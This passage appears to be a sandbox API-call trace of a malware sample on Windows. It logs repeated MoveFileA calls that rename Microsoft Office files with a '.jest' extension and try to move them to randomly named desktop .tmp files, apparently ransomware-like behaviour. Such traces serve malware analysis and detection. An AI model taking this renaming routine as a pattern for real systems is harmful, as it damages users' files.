Q0atdqnwm4bV_FWSMoWQN22u1-bc3fnEE64voCnKshW4aY2hkJd8bmr_FpHAT163RUJkwU_jqsqwz5NSw0xgBLGxiREjOmR.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oc q0atdqnwm4bv_fwsmowqn22u1-bc3fnee64vocnkshw4ay2hkjd8bmr_fphat163rujkwu_jqsqwz5nsw0xgblgxirejomr.tmp")) returned 0 [0164.491] GetLastError () returned 0x2 [0164.492] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱪ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.493] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Adobe.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\adobe.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Adobe.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\adobe.css.jest")) returned 1 [0164.500] VarBstrFromR4 (in: fltIn=0x47945714, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.16") returned 0x0 [0164.501] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Adobe.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\adobe.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HYx3B2SPuddtfEW5r uT51_kzXBJ_r_hZBdx2VvJbmv8r W_prd7DxuX XtsZ-YV-_MY6CPD1npIuiaeSg68MxOMuvbKCDI78_TKo.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hyx3b2spuddtfew5r ut51_kzxbj_r_hzbdx2vvjbmv8r w_prd7dxux xtsz-yv-_my6cpd1npiuiaesg68mxomuvbkcdi78_tko.tmp")) returned 0 [0164.502] GetLastError () returned 0x2 [0164.502] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱬ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.503] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Adobe.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\adobe.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Adobe.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\adobe.css.jest")) returned 1 [0164.508] VarBstrFromR4 (in: fltIn=0x47945714, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.16") returned 0x0 [0164.509] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Adobe.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\adobe.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LI02uXvtXDZyjYXTjXIcqUJgf7Wb_5Hx_cfhunwLOYFiLuuTDwdErwjOKu0D2FFbKfjdVG AlxLuqt tmV8fyH4dzD9PkzKT JfUb.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\li02uxvtxdzyjyxtjxicqujgf7wb_5hx_cfhunwloyfiluutdwderwjoku0d2ffbkfjdvg alxluqt tmv8fyh4dzd9pkzkt jfub.tmp")) returned 0 [0164.509] GetLastError () returned 0x2 [0164.512] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.513] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHigh.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contacthigh.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHigh.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contacthigh.jpg.jest")) returned 1 [0164.517] VarBstrFromR4 (in: fltIn=0x47945716, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.17") returned 0x0 [0164.518] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHigh.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contacthigh.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NOsYPbPle41_dbBPVQl9YyY9trgkIsFjPZtJy3GUHNmtQG9Lq01PSi1tSgtOpErnmTxOJMBWRGwpm-A-mohohmr7vnlp_ZKMKvRlT.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nosypbple41_dbbpvql9yyy9trgkisfjpztjy3guhnmtqg9lq01psi1tsgtopernmtxojmbwrgwpm-a-mohohmr7vnlp_zkmkvrlt.tmp")) returned 0 [0164.518] GetLastError () returned 0x2 [0164.518] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.519] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileHigh.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_filehigh.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileHigh.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_filehigh.jpg.jest")) returned 1 [0164.521] VarBstrFromR4 (in: fltIn=0x47945716, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.17") returned 0x0 [0164.522] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileHigh.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_filehigh.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kecRHIycRrUXuk8i3X7JLjYxZpXfjWcFXv5zly wV-4 S5tA2CGQL7W265ps7giqSXNVkBuunc2Y5UJhi4jWH6Hsf8VTu02yAJC-.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kecrhiycrruxuk8i3x7jljyxzpxfjwcfxv5zly wv-4 s5ta2cgql7w265ps7giqsxnvkbuunc2y5ujhi4jwh6hsf8vtu02yajc-.tmp")) returned 0 [0164.522] GetLastError () returned 0x2 [0164.523] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.523] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\AMERITECH.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\ameritech.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\AMERITECH.NET.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\ameritech.net.xml.jest")) returned 1 [0164.527] VarBstrFromR4 (in: fltIn=0x47945718, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.19") returned 0x0 [0164.528] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\AMERITECH.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\ameritech.net.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BdkN rVL6PDvtyf3t-Odtz0p-oS9litMu7m98L8CN6E6qU3JOwbjg9boL5ROzfbu H6qiJFK-hHvjCRZyplEPg WmM7_liwrel.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bdkn rvl6pdvtyf3t-odtz0p-os9litmu7m98l8cn6e6qu3jowbjg9bol5rozfbu h6qijfk-hhvjcrzyplepg wmm7_liwrel.tmp")) returned 0 [0164.528] GetLastError () returned 0x2 [0164.532] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﳉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.532] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\Attachments.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\attachments.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\Attachments.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\attachments.jpg.jest")) returned 1 [0164.537] VarBstrFromR4 (in: fltIn=0x47945718, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.19") returned 0x0 [0164.538] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\Attachments.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\attachments.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gvIBpxizK3qm68bQttOQZh0WHOz81Qjh72liB6VMARpdk45LlbWNOzSCuq ddTh qPRLtr1rGo8S6bPz1xGLWuUDKMuPytPZ3v_V2.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gvibpxizk3qm68bqttoqzh0whoz81qjh72lib6vmarpdk45llbwnozscuq ddth qprltr1rgo8s6bpz1xglwuudkmupytpz3v_v2.tmp")) returned 0 [0164.538] GetLastError () returned 0x2 [0164.539] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱪ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.540] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue.css.jest")) returned 1 [0164.542] VarBstrFromR4 (in: fltIn=0x47945718, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.19") returned 0x0 [0164.543] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j_uRKN7H064l1o1 IkLlFKOAcgViTr4-gl7url 8VgriiH8FBJAiKDFQbcVgLON41SFYB---odR Le4tbBdlFtzNmHlQMvaNYKu.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\j_urkn7h064l1o1 ikllfkoacgvitr4-gl7url 8vgriih8fbjaikdfqbcvglon41sfyb---odr le4tbbdlftznmhlqmvanyku.tmp")) returned 0 [0164.543] GetLastError () returned 0x2 [0164.546] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.548] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="沈", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.549] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="屢", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.554] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="鷺", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.557] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.571] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt.jest")) returned 1 [0164.577] VarBstrFromR4 (in: fltIn=0x4794571e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.23") returned 0x0 [0164.578] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FM SS_DLd-GvS o jcR9Gu04rb3gtNUfy g9qR7ob9N2eUDT8SUSc7vfA2b_FdEAJP5glpezjCo583VHX6 SkMU1Yi9RcvtmY7.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fm ss_dld-gvs o jcr9gu04rb3gtnufy g9qr7ob9n2eudt8susc7vfa2b_fdeajp5glpezjco583vhx6 skmu1yi9rcvtmy7.tmp")) returned 0 [0164.578] GetLastError () returned 0x2 [0164.579] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.584] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱬ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.586] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\biscay.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\biscay.css.jest")) returned 1 [0164.588] VarBstrFromR4 (in: fltIn=0x4794571e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.23") returned 0x0 [0164.590] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\biscay.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qs0S2ifoPv6GsoALxB6d_YgFD_jE8f7WPlylmLOj_1_uq H0sY_08USKlWZ FKugiwxU7IT6yzGFK6HY_mVLuYHbQdm pNAOMug_.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qs0s2ifopv6gsoalxb6d_ygfd_je8f7wplylmloj_1_uq h0sy_08usklwz fkugiwxu7it6yzgfk6hy_mvluyhbqdm pnaomug_.tmp")) returned 0 [0164.590] GetLastError () returned 0x2 [0164.592] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.595] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\BodyPaneBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\bodypanebackground.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\BodyPaneBackground.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\bodypanebackground.jpg.jest")) returned 1 [0164.597] VarBstrFromR4 (in: fltIn=0x47945720, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.25") returned 0x0 [0164.598] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\BodyPaneBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\bodypanebackground.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ze5Z9XKZQKEo3B9MMNLhjo3mG5NW7YE7ppcd8t8LyEJ7gYsvGxXJEguoZeOwlAfl8TMY3DQrKglZ39JaKrTgelMW imjp6 NtdXkk.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ze5z9xkzqkeo3b9mmnlhjo3mg5nw7ye7ppcd8t8lyej7gysvgxxjeguozeowlafl8tmy3dqrkglz39jakrtgelmw imjp6 ntdxkk.tmp")) returned 0 [0164.599] GetLastError () returned 0x2 [0164.599] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="\xfdd2", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.601] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\briefcaseicon.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\briefcaseicon.jpg.jest")) returned 1 [0164.606] VarBstrFromR4 (in: fltIn=0x47945720, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.25") returned 0x0 [0164.607] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\briefcaseicon.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dZLx08_ryTSBxr7_QHs-HY_h8wqrxxh0QM6ufcI9e63VRbgxl8ORpFBZbgYuR6EgvWJs G1GOhRwIMImDiRC CwL7FtvhI9p t4YL.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dzlx08_rytsbxr7_qhs-hy_h8wqrxxh0qm6ufci9e63vrbgxl8orpfbzbgyur6egvwjs g1gohrwimimdirc cwl7ftvhi9p t4yl.tmp")) returned 0 [0164.608] GetLastError () returned 0x2 [0164.608] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱪ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.609] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange.css.jest")) returned 1 [0164.611] VarBstrFromR4 (in: fltIn=0x47945722, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.27") returned 0x0 [0164.612] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kr5Ry9Y2w0mxhYU1-Ce31IH0Dm_wmQzw83RQ4xFrgqcQ8POsHGT-BgHB5ygJiT6XhMbgW8RpS_irWlzcK88pF530OixfL-d9YU4Yf.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kr5ry9y2w0mxhyu1-ce31ih0dm_wmqzw83rq4xfrgqcq8poshgt-bghb5ygjit6xhmbgw8rps_irwlzck88pf530oixfl-d9yu4yf.tmp")) returned 0 [0164.612] GetLastError () returned 0x2 [0164.613] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, 